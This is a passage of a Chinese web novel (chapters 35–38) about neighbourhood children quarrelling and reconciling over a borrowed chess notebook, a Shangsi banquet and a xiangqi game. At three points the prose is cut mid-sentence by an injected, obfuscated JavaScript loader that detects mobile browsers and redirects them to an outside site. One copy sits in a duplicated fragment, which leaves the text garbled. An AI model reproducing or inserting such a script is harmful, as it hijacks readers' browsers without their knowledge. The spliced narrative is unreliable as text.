沈约自那日“半途而废”地把东西都扔掉了之后，人就一直有些低沉。 蒋修和谢暎都看出来了他佯作平静之下的异样，委婉问起，他也并不说。 沈约心里觉得他是失去了一次证明自己的机会，这令他感到有些遗憾，也有些不服气。但他毕竟不是蒋修，与谢暎更谈不上有过节，所以他既不会冲动地要去和谢暎当面比较什么，也觉得这样不友善的情绪不该迁于他人。 他应当自己用足够的修养来使其平静。 而回到家之后，他也更用功地读书。 “二郎。”有人敲了敲门。 沈约抬起头，发现是他大姐姐领着姚家的小娘子一起过来了。 姚之如虽不是第一次来沈家，但这却是头回来沈约的书斋，若撇开以往大家凑在一起时她与他对话的次数不算，这大约也算是她第一次和他有面对面的交流。 她不免有些兴奋，也有些紧张。 沈云如是带姚之如来找沈约借书的。 “姚小娘子刚开始学棋，你以前写的那本棋谱注录正好可以借给她看看。”沈云如与其说是来和弟弟商量的，不如说是来直接通知。 沈约心里其实并不太想借。 那本棋谱注录是他以前刚开始学棋的时候自己做的，上面的棋局是他一笔笔画下来，心得体会也是自己一句句批注的。虽然他现在已经用不到，但不代表不珍惜。 他觉得姚之如在劝淑斋里求学不过就是跟个风，根本用不到这么认真的注录，反担心她拿去随意放置，他又不好要回来，也就等同于丢了。 但他姐姐已经开了口，他也就不好多说什么，转身去书架上把注录找了出来，顿了顿，递到姚之如面前，委婉地道：“你若觉得看着没有意思，就拿回来给我。” 姚之如双手把册子接了过来，点头道：“我会认真看的。” 沈约没有多说。 等姚之如走了，他才问沈云如：“你怎么想起来管姚小娘子学棋的事了？” 沈云如走到旁边坐了下来，貌似随意地回答道：“原本就答应了要带着她学课的，既然她跟不上，我帮帮忙也没有什么。” 沈约并不相信她的说辞，直接道：“那你早前在姚家带着她预学的时候怎么没想起找我来借？”又道，“大姐姐，你以后还是先同我商量一下吧，她又不是认真要学，你何必拿我的东西去卖好。” 沈云如有些生气，说他：“那注录你早就不用了，问你借去看看有什么？大家都是一巷邻里，你作甚这么小气！” 沈约本来心情就不太好，这会子被她一责，顿时也有了气性，当即驳道：“你要讨好人，那你就拿自己的东西去讨好，慷他人之慨算什么本事？人家苗小娘子也不曾是靠的蒋家郎娘给她长脸。” 沈云如倏地一怔。 她的脸有些发红，咬着唇半晌没有言语。 沈约说完这话其实也有些后悔了，他知道姐姐的性子，这话说穿了出来定是多少有些伤她。 气氛凝滞了片刻，他正打算说些什么来缓和，便忽见沈云如满眼不服地轻笑了一下。 “不过就是显摆了些我们永远也用不着晓得的东西，这就算长脸了？”她气恼地看着他，“靠自己便靠自己，往后我也再用不着你！” 沈云如负气地说完，便转身头也不回地走出了书斋。 35. 释怀 姚之如回到家后，就差了女使去蒋家请蒋娇娇过来。 她径直走到书桌前，小心地先把笔墨和香炉等物重新归了归位置，在并不怎么宽的桌面上腾出了个足够的空处，然后将从沈约那里借来的注录轻放在了那里。 接着她又铺好了纸，佯作蘸墨写字的样子比划了几个来回，一边比划并一边注意着书墨摆放的位置，待又做了两次调整后，自觉应是不会在写字的时候不小心弄脏了沈约的书，这才终于满意了。 蒋娇娇这时也到了。 她不仅自己来了，还把正在家中作客的苗南风也一并带了过来。 “玲儿说你有事要找我帮忙，”蒋娇娇进了门便直接关心地问道，“什么事？我把苗姐姐也带来一起出出主意。” 她的想法很简单，觉得那日在自己的生辰宴上大家相处甚欢，那她们三个如今也就都成了朋友，既是朋友需要帮助，那其他的朋友自然该齐齐上阵。 而姚之如其实在乍见到苗南风时颇觉有些为难。她不是不想多个人多双手，可又不免担心人家会觉得她麻烦，毕竟苗小娘子不像娇娇，后者肯定是不会烦她的。 她就觉得不好开口麻烦人家，但若是自己和蒋娇娇只顾忙着却把人家晾在一旁却也不妥。还好，蒋娇娇的这番直接倒是解了她的围。 苗南风此时也主动道：“若是我能帮得上忙的话你就直说。” 对方的毫不拘谨也令姚之如心头一轻，于是她感激地冲着两个小姐妹笑了笑，说道：“我借了人家一本书，但又赶着还，所以想让你们帮我一起重新抄一抄。” 蒋娇娇听了，方松了口气，说道：“我还以为是什么要紧事。早说是这样，我就把大哥哥和谢暎一起叫过来帮你抄啊。” 姚之如被她吓了一跳，忙摆手道：“不用不用。”那不就等于整条巷子都知道她有多笨了？ “那就我们两个帮你抄。”蒋娇娇豪气地说完，又笑道，“不过晚上你要请我们吃好吃的。” 姚之如亦笑回道：“我和娘亲说，让厨房做个油炸春鱼给咱们吃。” 蒋娇娇高兴地欢呼了一声。 苗南风也跟着拍了拍手。 三个女孩子就围着桌子坐了下来，在姚之如的安排下分好了工，准备开始重新抄写那本棋谱注录。 “你们抄的时候要小心一点哦，”姚之如对两人叮嘱道，“小心不要把墨汁滴在册子上了。” 蒋娇娇看她翻个书小心翼翼的样子，不由就往那注录上多看了两眼，然后问道：“这是沈家二郎借给你的？” 姚之如一愣：“你怎么知道？” 蒋娇娇觉得这太好猜了，于是指着上面的字便说道：“我们巷子里字写得最好的就是谢暎和他两个，既然不是谢暎借你的，那肯定就是他借的咯，再说你一向怕他，肯定借了他的书也不敢久看。” 姚之如：“……” “我也不是怕他。”她想了想，尽量解释道，“就是觉得每回和他说话都有点紧张，也不晓得为什么，可能……” “太好看了？”苗南风突然接了一句。 姚之如微顿，然后默默地点了点头。 蒋娇娇诧异地道：“那有什么好紧张的？” 苗南风却觉得很正常：“我那天刚见到你大哥哥的时候也有点紧张，不过后来大家一起多说了会儿话就好了。”又道，“可能姚小娘子不常和沈二郎说话吧？” 蒋娇娇更奇怪了，问她：“那你见到谢暎怎么不紧张？他那么好看！” “……”苗南风万万没想到这也能被追责，只好仔细回想了一下当时心态，解释道，“谢元郎的确很好看，可是他只同你玩得好，我与他既不必说什么话，好像也用不着紧张。” 蒋娇娇若有所思，忖道：“可是我第一回见到他的时候也不觉得紧张，只心里觉得他好好看又好安静，然后就特别想和他说话。” 说完，她与苗南风对视了一眼，两人齐齐又看向了姚之如。 姚之如怔了怔，少顷，开口说道：“我次次见到他都很紧张，说完两句就又不知道该说什么了。” 气氛沉默了须臾。 三个人发现她们心里觉得好看的对象完全不一样，彼此都给不了他人什么建议，这就很没有意思了。 “算了，”蒋娇娇决定放弃讨论这个话题，“我们还是抄书吧。” 另两个点了点头，开始奋笔疾书起来。 *** 这天下午，沈约从外面回来，刚换了衣服准备找他姐姐，就听说姚之如过来找他还书了。 他不免有些意外。 等到姚之如来了书斋，沈约看着她递过来的册子，还是问了一句：“你看完了？” 他大姐姐特意为她来借的书，不管初衷如何总是为她好的，但现在姚之如把书看得这样随意，他不由觉得她有些浪费了自己姐姐的心意。 姚之如本来已经想好了见到他要怎么说话，但两人一照面，她还是忍不住一阵紧张，又和以前一样舌头都不灵活了，只好言简意赅地说道：“这个还你，我另外抄了一本。” 沈约一愣。 姚之如有点懊恼，她觉得自己好像说得太硬邦邦了，她本来不是要这样说的。 但她一时又忘了原本自己想要说的那些话，情急尴尬之下，只好再道了声谢，就打算告辞离开。 没想到沈约此时却忽然开口问了句：“你为何要自己另抄一本？” 姚之如就老老实实回道：“我，我可能要用很久，而且也怕给你弄脏了。” 说完这话她还有些不好意思地红了脸，担心沈约会觉得她笨。 沈约沉默了片刻。 “你把抄的那本给我看看。”他说。 姚之如一怔，忙道：“你等等。” 说完，她就转身出去喊了玲儿，吩咐对方赶紧回家把桌上的那沓纸拿过来。 玲儿看她着急，也不敢耽误，跑着就回去了。 书斋里的气氛又再静默了下来。 沈约低头翻着他自己从前写的注录，也不知在想什么，姚之如原本是隔案站在他面前，但她脚下不平，时间长了难免有点站不住。虽然斋里的女夫子教导说淑女要时刻谨保仪容，可她觉得真难啊，难道为了自己舒服点也不可以有些松懈么？ 姚之如这么想着，到底是没忍住，动了动脚，想换个姿势省省力。 结果她这一动，就恰好被抬眸看来的沈约给瞧见了。 她霎时尴尬地脸上一红。 不想沈约却道：“抱歉，忘了请你入座。”说完，他便从书案后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529291|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了出来，然后将镜架旁的一个墩子搬到了姚之如面前。 姚之如即摇了摇头以示没有关系，这才心头微松地坐了下来。 玲儿气喘吁吁地抱着纸跑了进来。 姚之如连忙又站起，伸手接过，然后递给了沈约，口中并有些赧然地道：“也不是我一个人抄的，还有娇娇和苗姐姐帮我，不然我自己太慢了。” 沈约没有说什么，接过去翻了几张，看罢，说道：“你画得很认真。” 姚之如闻言一喜，旋即又一讶：“你怎么知道我是负责画的那个？” 沈约觉得这很好猜，因为姚之如才上学没多久，从写字的笔法来看就能看得出来。他甚至还能看得出哪些是蒋娇娇写的，哪些又是那位苗小娘子写的。 蒋娇娇平日里跟着谢夫子学认字，还有蒋修和谢暎两个陪读，笔画间毕竟是有痕迹可循——比如她写的字现在隐隐就有点在模仿谢暎。 去掉蒋娇娇写的那些，另一个写字颇不讲章法的肯定就是苗小娘子。 那剩下这个画图画得磕磕绊绊却又小心翼翼的，自然就只能是水平和性情都对得上的姚之如了。 但他不便说得这么具体，于是只回道：“一看就知道是你。” 姚之如没想到他居然能一眼认出自己的笔迹，而且她还不是写的字呢！她突然有了种原来沈约也不是一直将她看得可有可无的恍然，并随之而来涌起了一阵喜悦。 她顿时有了想要再与他多说几句话的冲动和勇气。 “还是你这本做得最好。”姚之如道，“你字写得好，画也画得好清楚，我一看就懂了你当时学棋的时候是怎么想的。” 沈约沉默了几息，忽然向她问道：“你同蒋小娘子玩在一起，可曾有过怀疑自己不如她的时候？” 姚之如怔了怔，回道：“我本就不如她啊。” 她这番话说得极为坦然，不带半点自嘲或是不悦的情绪。 这回轮到沈约怔了一怔：“那你同她在一起，不觉得挫败么？” 姚之如还不太明白挫败是什么心情，但她大致能明白沈约说的是什么意思，于是想了想，笑笑说道：“我有时候挺羡慕娇娇的，可是她的好处就是她的，我家里既没有，我也学不来，所以就没有觉得有什么不开心的。且我又想，既然她和苗姐姐，哦，还有你家姐姐，又都肯待我好，那我应当也是不太差，我就跟着大家慢慢走就好了。” 沈约没有说话，只是那么地定定看着她，似是在出神，又似是有些深思。 良久，他忽而一笑，点了点头。 “你说得对，人本就各有所长，只要做好自己应做的便是。”他说，“是我狭隘了。” 言罢，他微笑了笑，伸手将棋谱注录往她面前一递：“这个其实我已用不着了，送给你吧。” 姚之如蓦地愣住，有些不敢相信地犹豫着：“真的么？” 沈约点点头，然后为了向对方表示谢意，他又主动道：“你以后若还有什么需要借看的，也可以再来找我。” 姚之如觉得今天太阳定是从西边出来的，她竟能和沈小官人面对面说这么多话，他还把亲制的注录送给了她，又笑着对她说以后可以随时再来找他借书！ 她自不能犹豫，当即如小鸡啄米般点头：“好！” 36. 对弈 沈云如正在房间里比对纸张，不时地提笔在上面写写画画，斟酌着如何选择。 恰好沈约过来找她，她下意识一喜，但旋即又想起两人还在冷战，于是又故作淡然地收回了目光。 沈约默了默，走上去将手里的东西放到了她面前，末了，语气诚恳地道：“大姐姐，那日是我语气不好，我向你道歉了。” 沈云如微顿，垂眸看向他放在桌前的那朵五彩通草花，少顷，抿了抿唇角，说道：“算了，原谅你这回。” 说罢，她便顺手将通草花拿起来插到了发间，抬眼含笑问道：“好看么？” 沈约点了点头。 沈云如就道：“你确实比那蒋大郎会买东西。”说来她到现在都没搞明白上次蒋修怎么会想起送她面具，其实她对面具一点兴趣都没有，不过非要选的话那肯定还是好看的比不好看的合眼。 气氛顿缓，沈约知道这就算是姐姐答应跟自己和好了。 他心里头也又再松快了些。 沈云如看了弟弟一眼，说道：“下回若再遇到那样的事，我会事先问问你。” 沈约明白她这是在道歉，便道：“也没什么。”他说，“我本也不该对别人有偏见，我已对姚小娘子说了，倘以后她再有什么需要借看的也可以来找我。” 沈云如微感意外。 她知道沈约向来在读书这件事上的态度很认真，从来不会把和读书无关的事情带进书斋，就连蒋修几个找他玩的时候，他也不会把人往书斋里引。 可现在姚之如却等于是得到了可以随时进入他书斋的许诺。沈云如思及此不免有点内疚，她觉得弟弟肯定是为了补偿她。 于是她便说道：“我本也没打算一直为她麻烦，我们又不必看你那些书，你这样倒是杀鸡用牛刀了。今日这番一承诺，以后她若隔三差五过来打扰你怎么办？下次你还是先把事情推回来给我吧。” 沈约笑了笑，说道：“没事，我看她应该也不是喜欢随便麻烦人的。” 承诺已然许出去了，沈云如又见弟弟这样说，便也就不再多言，只默默心想以后自己要少和他吵架。 “你这是在做什么？”沈约将话题翻过，转而顺便关心了一下姐姐的眼前事。 沈云如正好想让他帮忙拿主意，说道：“我已和婆婆说过了，打算上巳节那天在家中也办个小宴请大家来聚一聚，现在正在犹豫用什么纸下帖。” 沈约一忖便知她是在想什么，于是默然了须臾，还是说道：“大姐姐，我觉得你以后还是少管蒋善之他们家的事比较好。” 沈云如一愣：“什么意思？” “其实那个苗小娘子只是来汴京玩几天，她说的那些事大家不曾听见过，有些好奇也正常。”他说，“既然人家蒋家的长辈都没说什么，你又何必去管善之他们兄妹如何与人家相处？更没必要将她太放在心上，你与她本就是不同的。” 沈约想起这几次姐姐和蒋修的矛盾，索性亦直言劝道：“况且爹爹也说了，让我们要好好与蒋家郎娘相处，既然人家没有要疏远苗小娘子的意思，我们也就不要多管了，免得影响了邻里情谊。” 沈云如琢磨了一下他的话，不免好笑地道：“你以为我办宴是要给人家难堪么？” 虽然大人们没有说，但上回蒋家姑姑的事他们之后也不是没有察觉，长辈之间若无其事的态度恰恰告诉了他们：那些事都要当作不曾发生过，因为两家还是要好好相处。 沈云如不傻，而且她原本也觉得虽然蒋家姑姑和蒋娇娇没有裹脚的确不太对，可是其他人也不该，或者说犯不着当众戳穿给人家难堪。 现在她对苗南风也是这种感觉。虽然她觉得对方不像话，不太配得上与自己相交，可人家既没有来冒犯她，她也犯不着去给人家难堪。 “我只是觉得我也该办个小宴，”她随口说道，“也好让旁人瞧瞧，我们家女孩席上是什么样子。” 若不是自家宴上男女不同席，她肯定还要把蒋修他们一并给叫过来。 沈约听她这样说，也就略放了心，又顺口问道：“那你打算怎么办？” 沈云如道：“我想着上巳节么，就办个曲水流觞的小宴，再把斋里几个走得近的小娘子也请来。”她说，“大家可以交流一番琴曲，再随意做做点茶、焚香这些闲事。” 沈约觉得这听起来果然是他大姐姐的风格，也知道对方是有意想在宴上显露一番身手，便点点头，帮她出主意道：“那你就选那个贴花纸吧，不刻意又有巧思。” 沈云如高兴道：“我也这么想。” 于是主意打定，她很快便将名单拟了出来，又认认真真将请帖一一写好，然后送去了给自己婆婆过目。 沈老太太对孙女的安排也颇满意，赞许地点了点头，说道：“这次若能办得好，以后你自己就能一手操持了，需要人帮手就去告诉你母亲。” 听见婆婆这样认可自己，沈云如不由有些激动地红了脸，当即应道：“我一定好好办。” 沈老太太又翻了翻余下的帖子，末了略一沉吟，对孙女说道：“回头再添一张，把你王家大表妹也请过来吧。” 沈云如怔了下，委婉地道：“我原打算只办个友人小宴，若是请了王家表妹，那其他亲戚家的姐妹不请又不太好，再说……上次表妹来巷子里小住时还和蒋家小娘子闹了些别扭，我担心她们这回仍是合不来。” 沈老太太听着就皱了眉：“亲友之间本就有远近，既是你们女孩家的小宴，自是用不着那么大的阵仗，旁人也说不得什么。你自己办宴，就须得清楚你办宴的目的，这样的雅宴哪里是适合巷子里那几个的？你既要显露自己，就得有个能帮你敲边鼓的，这件事自然是你表妹这样的性格和身份最合适。” “小孩家的争执，过了这么久谁还会这般放在心上？”她说，“你莫要学你爹和二叔，把个蒋家抬举得小心翼翼。咱们家做事自有士人之家的格调，为客者本该遵循人家宴上的规矩，就好比你们姐弟两个去蒋家宴上，我也从不多说什么。” 见孙女还是有些犹豫，沈老太太便淡淡说道：“不然恐怕到时你再被旁人抢了风头，还得自己亲捧着。” 沈老太太在沈云如心里素有积威，此时听着对方这一席话，她忐忑之余不免也感到有几分惭愧。 看来还是她做得不够好，所以婆婆才会这样为她操心。 沈云如此时也无暇再去考量心底残存的那些许迟疑，索性通通抛去，端端向长辈应下：“是，那我这就去补。” *** 蒋娇娇和苗南风在窗前对坐着下象棋。 谢暎写完今天的字，读罢文章，又默完了两篇诗赋，这才放下书本，然后和平时一样把蒋娇娇放在旁边新写的字拿了起来看。 蒋修这个时候已经溜达去了两个女孩儿身边，在围观了几眼两人的“战况”后，他皱着眉嫌弃道：“你们两个这都下的什么啊，怎么‘象’还能走直路的？” 言罢，他还转头招呼谢暎：“你来看看她们两个这一通瞎搞。” 谢暎却没急着动，口中说着“等会儿”，手上仍在写着。 蒋修嘲他妹：“谁教你的象棋这么下？你还瞎教人家。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529292|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他知道苗南风没下过棋，这回本就是被蒋娇娇抓着陪玩的，不想一来就被他妹妹给带进了沟里。 蒋娇娇有点脸红，她其实心里也隐隐觉得有点不对，但想着开始之前自己还当着大家的面满口自信地让苗南风跟着她走，说简单得很，也就没好意思翻自己的盘。 她就嘴硬道：“哪有那么讲究，反正能下就行了嘛，而且苗姐姐也看得懂啊。” 苗南风确实是跟着她下的，见蒋娇娇这么走，她也就这么走了，哪里知道“象”能不能走直路。 不过两个人倒是你吃我一子，我也吃你一子，来来去去吃得差不多了。 于是她觉得蒋娇娇说得也有道理，便附和道：“确实能下，我们快下完了。” 蒋修：“……” 他实在看不下去了，直接伸手把他妹提了起来，一边说着“让开我来”，一边已自己坐了下去。 “你回去若要同别人玩这个，要记得用我现在教你的规矩去下。”蒋修口中说着，很快三两下将两边棋子归了位，然后对苗南风道，“你先走。” 苗南风直接一个“炮”飞过去把他的“炮”给吃了。 蒋修：“……” 他抬头看了眼站在旁边的蒋娇娇，后者一愣，然后直觉感到不妙，心虚地转身跑去了谢暎那里。 “谢暎，”她小声悄悄问道，“那个‘炮’不可以直接飞过去吃对面的棋么？” 谢暎笔下未停，闻言浅浅笑了笑，说道：“要隔座山才行。” 蒋娇娇一怔，瞬间那仿佛失去的记忆就回了笼，忙转身冲苗南风扬声道：“苗姐姐，你要在‘炮’前面架个炮台！” 苗南风还没说话，蒋修便头也不抬地道：“人家已经知道了。” 蒋娇娇微窘地吐了吐舌头。 “这几个字我帮你挑出来了，”谢暎这边也放下了笔，对她说道，“你回头再好好练几遍。” 蒋娇娇早就习惯了，每次都是她写好了字等着给他看，然后他若瞧着里面哪些字写得不好，就会特意挑出来另外写在纸上，留给她照着再练。 于是她笑嘻嘻应道：“好。” 便是在这时，荷心进来了，报说沈家小娘子差人送了请帖过来。 谁家大晚上的跑来送帖子？几个人都觉得有点奇怪，毕竟两家又不是住得山远水远的还要连夜赶路。 等蒋娇娇接过来一看，立刻就明白了个大概。 “她定了上巳那天办宴，还请了苗姐姐。”她道。 毕竟苗家人不可能在汴京久留，上次苗南风在宴上就说了大概三月初的时候会启程回家，想必是沈云如担心通知晚了而人家早有了其他安排。 蒋修想到上回生辰宴上的事，就问苗南风：“你想去么？若不想去的话就让娇娇帮你推了。” 苗南风觉得虽然沈家小娘子看起来不是太好相处，但别人既然表示友好地来请了，且沈家和蒋家又是要好的邻里，以自家和蒋家的关系，她不应下也说不过去。 于是她便回答道：“我跟着娇娇吧。” 意思就是看蒋娇娇去不去。 蒋娇娇的心里自然是不太想去的，但她也知道自己不好拒绝，只能叹了口气，无奈地道：“那我们吃了饭就回来吧，她那个宴席肯定又是搞劝淑斋里那套东西，无聊得很，还不如我们一起出门踏青呢。” 谢暎之前已经听蒋娇娇说过她生辰宴上的事，此时见状便觉得已大概猜到了沈云如这个小宴的用意，他看了眼苗南风，想了想，对蒋娇娇说道：“你若担心到时与她们没有话说，我有个办法教你。” 37. 针对 到了三月初三上巳节这天，蒋娇娇就和苗南风一起出门，与姚之如会合后便一并去了巷头的沈家赴宴。 因是要行曲水流觞，所以沈云如把宴席地点选在了花园水渠边的凉亭里，那是沈家为了办这类聚宴而专门准备的场所。 沈家的花园虽不大，但格局布置却颇雅致，凉亭有匾名唤作“惜春”，位处花圃之间，旁有小桥与潺潺流水。亭里摆着张石桌，桌面形状因取其自然之意故而并不规则，中有雕刻的山水轮廓，水道蜿蜒恰好绕桌一周，经由渠中引入的清水自道中涓涓而过，水面上还漂浮着点点落英。 蒋娇娇还没进凉亭，就一眼看见了正坐在沈云如左手边的王家小娘子。 她意外之余，不由心下涌起了阵不自在。 沈云如也看见了她们三个，于是笑着招呼道：“就等着你们了，快来坐着说话。” 原来其他客人也都到了。 待沈云如给双方做了引见后，蒋娇娇才知道另外四个小娘子是沈云如在劝淑斋里的朋友，都是士家出身。 两边相互见了礼，王小娘子也笑着同蒋娇娇打招呼，说道：“蒋小娘子好久不见，上回在姨婆寿宴上不曾瞧见你，我还问起了表姐呢。” 这是客套话，沈云如没有多言，只陪着笑了一笑。 蒋娇娇却微感愕然，她都有点佩服王小娘子这若无其事的本事了，看人家这好似全然没将以往过节放在心上的样子，她甚至真快要怀疑到底是不是自己太小心眼。 她再一次深刻认识到了什么叫作“面子情”。 蒋娇娇也不愿让人小瞧。 她回想起当日赏梅宴上，自己婆婆面对那些讨厌的大人尚且可以大大方方地开骂，就觉得现在这样的场面也不是什么大问题，于是也做出客气的样子说道：“可惜我没有听说，不然早知你这样想见我，上回我就该专门往你跟前凑才是。”说完她也不等对方答话，就又径自续道，“不过也没有什么，你往后多来沈姐姐这里玩，我们就还有很多机会见面。” 王小娘子一愣，大约是太过意外的缘故，竟一时没能接得上话。 沈云如也听出了蒋娇娇嘲讽她表妹的意思，怕这两人再说下去又要闹出什么别扭，便忙转移了话题，主动招呼众人：“今日上巳，我们要不来玩点茶接诗吧？” 所谓点茶接诗，其实就是曲水流觞的另一种玩法，也就是点好茶后使杯盏随水而下，被点中的人就要以诗对茶进行品鉴，可以描述点茶之人的技法，也可以仅仅是赞美茶色或味道。小孩家的这种游戏要求也不高，诗词往往是借用书中言，能沾点边就算过关。 但蒋娇娇心里很清楚，这游戏摆明了就是让沈云如几个显摆本事的，谁不知道她们不擅长这个？就算是之之，也不过才进了劝淑斋没多久，字都还没她们认得多呢。 她有点不高兴，也有点惊讶。 不高兴是因为她觉得沈云如要显摆就显摆，却不该拉着她们来陪衬，她可以给对方鼓掌称赞，但却不想拿自己的脸面去捧场。 而惊讶，是因为她发现谢暎竟是未卜先知，果然猜中了宴上可能沈云如会邀请她们一起玩那些风雅的游戏。 于是她和苗南风心照地对视了一眼，直接把谢暎教的办法祭了出来。 “我接诗不行，夫子现在才刚开始让我读史，《春秋》都还没摸着边，旁的更什么都还没来得及学呢。”蒋娇娇故作谦虚地道，“我早听之之说姐姐们在劝淑斋里学的雅事，一向羡慕，今日要不我就只厚着脸皮做回尝客，帮姐姐们点的茶论个高下。” 她这一番话说完，对面几人的神色顿时各异。 沈云如是好像一下子没能反应过来，而她的几个学里同窗则或诧异或怀疑地看着她，王小娘子也是一副好像不认得她了的表情。 蒋娇娇见自己果然把人给唬住了，心下不禁有些得意。 其实谢暎教她的办法概括起来只有两句：以己之长攻彼之短；鹬蚌相争渔翁得利。 照他的意思，她在这些闲雅之事上自是不如沈云如她们，这种事也不用因为要面子而刻意去回避，只需谦虚地坦然承认就好。 但话说回来，沈云如她们也不是没有短处，人和人之间的比较就是这样来的。山外有山，就好像劝淑斋的那些课程对他们这些男孩子来说也很浅，所以他知道，“读史”这两个字将成为蒋娇娇的“长处”。 他甚至连书里的备用篇目都给她找好了，蒋娇娇临时抱佛脚地跟着他大致学了一通，就等着今日应急用。 至于鹬蚌相争渔翁得利，就是说如果她以长处自谦这条路行不通，那就只能在对方几人中搅和一番，选个看上去性子最浮躁的全力吹捧，使对方飘飘然而去与沈云如争风头，又或者反过来引得沈云如去关注其他表现佳的人，那她们自然就能从众人焦点中全身而退了。 所以她记着谢暎的话，自由发挥之下，一上来就把两条路全打开了。 蒋娇娇心想：你们要是不许我退出，那我就要开始搅和了。 果然，其中有个小娘子忍不住半信半疑地开口问道：“你在读《春秋》？能看懂么？” 蒋娇娇记着谢暎说的不能吹牛太过，于是故作含蓄地道：“还是挺难的，好在夫子也只说让我随意看看，多认几个字也是好的。”又道，“幸好我不用考科举，不然我这样的愚笨，学诗赋肯定也不行。” 沈云如看了她一眼，没有说话。 她觉得蒋娇娇这话的意思再明白不过，无非是在嘲她们学诗学得浅还要卖弄。 但她说不出什么话来，因为她忽然觉得自己身上某一处像是被什么东西狠狠地给扎中了，不疼，却让她脸上发烫。 王小娘子见其他人好像都被蒋娇娇给镇住了，就连身为主家的表姐也不说话，心中不免着急，当即忍不住道：“这和品茶又没有什么关系，大家本就是差不多的，你又如何能帮姐姐们论高下？” 然而蒋娇娇却只一副无所谓的样子，对她说道：“我只是想我不好干坐着，所以随口一说嘛，要是你也接不好诗，就一起来？” 王小娘子：“……” 她不由蓦地红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529293|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了脸，恼羞成怒地怼道：“谁接不好诗了？” 因心里记着表姐说要与蒋娇娇和平共处，王小娘子气愤之下便迁怒到了苗南风这个她眼中的软柿子上，即续道：“既然那些读不了几句诗的乡下人都能接，我们自然也没有说接不了的。” 这话一出，坐在旁边的沈云如已先皱了眉转头朝她看去。 但表姐妹两个都还没来得及再做出什么反应，对面的蒋娇娇就倏地站了起来。 “你平日里学的那些教养都给狗吃了？！”她此时新怒旧怨齐齐涌上，自然再受不了给对方情面，又想起自己婆婆维护小姑时的样子，当下也是只觉一阵豪气万丈。 “乡下人怎么了？”蒋娇娇道，“人家只是住在乡下，但比你可有本事多了，你懂蚕桑事么？懂爬树抓鱼，懂染布么？你虽是城里士家出身，但自己又不是士人，有什么好得意的？” 她这一番不停气地骂下来，其他人全都怔住了。 除了大感窘迫的王小娘子，沈云如的几个同窗也感觉自己好像被牵连着挨了顿嘲讽，偏偏自己还反驳不出什么，顿时纷纷浮起了尴尬之色。 苗南风最先回过神。她很感动蒋娇娇对自己的维护，当即也站了起来，拉着对方的手便道：“下回你来找我玩，我领人带着你。” “嗯。”蒋娇娇点头。 姚之如亦站起身，皱着眉头对王小娘子说道：“大家都是看在沈姐姐的面上才来赴宴的，你这样说确实太无礼了，也很是不在乎沈姐姐的情面。” 王小娘子猛然醒悟，下意识朝沈云如看去，只见对方神情紧绷，满脸沉色的样子，她霎时悬起了心，张口便想要挽回：“表姐，我……” 岂知沈云如也直接站了起来。 “苗小娘子，”她对着苗南风说道，“我表妹性子粗，说话冒犯了你，也是我这个做东的没有照顾好大家，我向你赔不是了。”说完，她又看向了蒋娇娇，再道，“蒋小娘子，也请你不要生气。” 蒋娇娇和苗南风不免有些意外，她们都没想到沈云如今日态度倒还挺端正，两人也都不是那得理不饶人的，身为客人，她们还是要给沈云如一些面子。 于是苗南风便道：“不要紧，沈小娘子不用放在心上。” 蒋娇娇也道：“我只是同王小娘子讲个理，没有生气。” 但事已至此，这宴席肯定是不能再若无其事地进行下去了，总有一方需要先表态退场，毕竟沈云如不可能站出来说“今天就这样散了吧”这样的话。 蒋娇娇心里本就巴不得走，此时自然也就敏锐地自觉了一回，客气地对沈云如说道：“今天过节，婆婆还在家里等着我们回去吃饭，我们就不打扰姐姐们了，以后有机会再聚吧。” 姚之如先前帮了腔，这会子亦自觉不好再留下，况且蒋娇娇要走，她肯定是要站在好朋友这边的，于是附和道：“沈姐姐，我也先告辞了。” 沈云如点了点头，回以礼貌地唤了女使送客。 她端站在原处，目视着蒋娇娇三人手挽手地出了凉亭，一路离去。 38. 心坎 一场精心准备的上巳小宴，在沈云如送走了劝淑斋里的朋友后，便就这样草草地收了场。 自蒋娇娇和王小娘子那场争执后，席上的氛围便再难维持，走的人潇洒，留下的人尴尬，就连沈云如自己都恨不得赶紧上了饭菜了事。 宴席一结束，她就沉着脸回了屋。 王小娘子跟在自己表姐后头进门，憋了一路的她也实在是憋不住了，自知理亏地小心辩解道：“她嘲我不会接诗，我总不能顺着她去说。她都能把个乡下户带到你的宴上来，凭什么还有脸说那么多？我也是气不过她们抢你的风头。” 